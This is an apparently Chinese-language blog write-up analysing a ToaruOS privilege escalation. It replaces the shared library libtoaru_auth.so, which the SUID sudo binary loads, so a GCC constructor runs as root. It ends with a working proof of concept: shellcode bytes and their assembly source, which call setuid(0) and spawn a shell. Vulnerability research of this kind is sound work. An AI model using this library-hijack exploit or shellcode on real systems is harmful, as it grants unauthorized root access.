之前分析过一个ToaruOS 操作系统提权的漏洞,感觉十分有意思,这里在分析一个利用ToaruOS llinker + sudo提权的漏洞
__attribute__可以设置函数属性(Function Attribute)、变量属性(Variable Attribute)和类型属性(Type Attribute)。__attribute__前后都有两个下划线,并且后面会紧跟一对原括弧,括弧里面是相应的__attribute 参数
__attribute__语法格式为:__attribute ( ( attribute-list ) )
若函数被设定为constructor属性,则该函数会在main()函数执行之前被自动的执行。类似的,若函数被设定为destructor属性,则该函数会在main()函数执行之后或者exit()被调用后被自动的执行。例如下面的程序:
#include <stdio.h>
__attribute__((constructor)) void begin()
{
printf("Constructor is called.\n");
}
__attribute__((destructor)) void after()
{
printf("destructor is called.\n");
}
int main()
{
printf("hello world\n");
return 0;
}
输出
Constructor is called.
hello world
destructor is called.
把下面的代码编译成动态链接库
#include <stdio.h>
__attribute__((constructor)) void begin()
{
printf("hello world\n");
}
gcc -fPIC -shared so.c -o so.so
根据toaruos的编译过程我们知道fetch程序会动态链接toaru_hashmap库
./toaruos-1.10.9/.make/fetch.mak: $(CC) $(CFLAGS) -o $@ $< -ltoaru_hashmap -ltoaru_list
在ToaruOS里替换libtoaru_hashmap.so为我们上面编译的so程序,运行fetch 程序
fetch加载了我们的so文件,自动执行了constructor函数(图片第二行)。
如果有一个root权限的程序也加载了我们的so文件,我们就能以root权限执行任意代码,完成提权。这个程序就是sudo
ToaruOS系统启动后加载各个程序,最后启动桌面程序,并赋权限为local。此后用户在桌面上执行的程序都由所有操作都是local权限。如果用户需要root权限怎么办,答案是依靠sudo程序。
sudo程序具有SUID权限,sudo程序在验证用户的密码之后setuid(0),赋予当前进程的权限为root,接下来fork出来的进程也就是root权限,就是sudo后边跟的参数。
根据sudo程序的编译过程我们知道,sudo 依赖于toaru_auth.so文件。
cat ./.make/sudo.mak
base/bin/sudo: apps/sudo.c base/usr/include/toaru/auth.h util/auto-dep.py | base/lib/libtoaru_auth.so $(LC)
$(CC) $(CFLAGS) -o $@ $< -ltoaru_auth
接下来只要替换toaru_auth.so为我们的自己构造的toaru_auth.so文件,执行sudo程序我们就能以root权限执行任意代码,最后提权了。
最后poc.c
unsigned char shellcode[] = {
0x31, 0xc0, 0x04, 0x18, 0x31, 0xdb, 0xcd, 0x7f, 0xeb, 0x1a, 0x5b, 0x31,
0xc0, 0x88, 0x43, 0x07, 0x89, 0x5b, 0x08, 0x89, 0x43, 0x0c, 0x04, 0x07,
0x8d, 0x4b, 0x08, 0x8d, 0x53, 0x0c, 0xcd, 0x7f, 0x31, 0xc0, 0xcd, 0x7f,
0xe8, 0xe1, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68,
0x68, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58
};
__attribute__((constructor)) void mehness(void)
{
((void (*)(void))shellcode)();
}
payload 在我上篇分析ToaruOS提权漏洞时讲过,这里直接复制过来。
在payload 首先执行setuid(0)设置当前进程权限,然后执行system(/bin/shh)返回shell。toaruOS通过int 0x7f调用系统函数,在syscall_nums.h中有系统调用号,setuid对应24,system对应7。
xor eax, eax
add al, 24
xor ebx, ebx
int 0x7f
jmp short end
start:
pop ebx
xor eax, eax
mov [ebx+7], al
mov [ebx+8], ebx
mov [ebx+12], eax
add al, 7
lea ecx, [ebx+8]
lea edx, [ebx+12]
int 0x7f
xor eax, eax
int 0x7f
end:
call start
db "/bin/shh"
db "XXXXXXXX"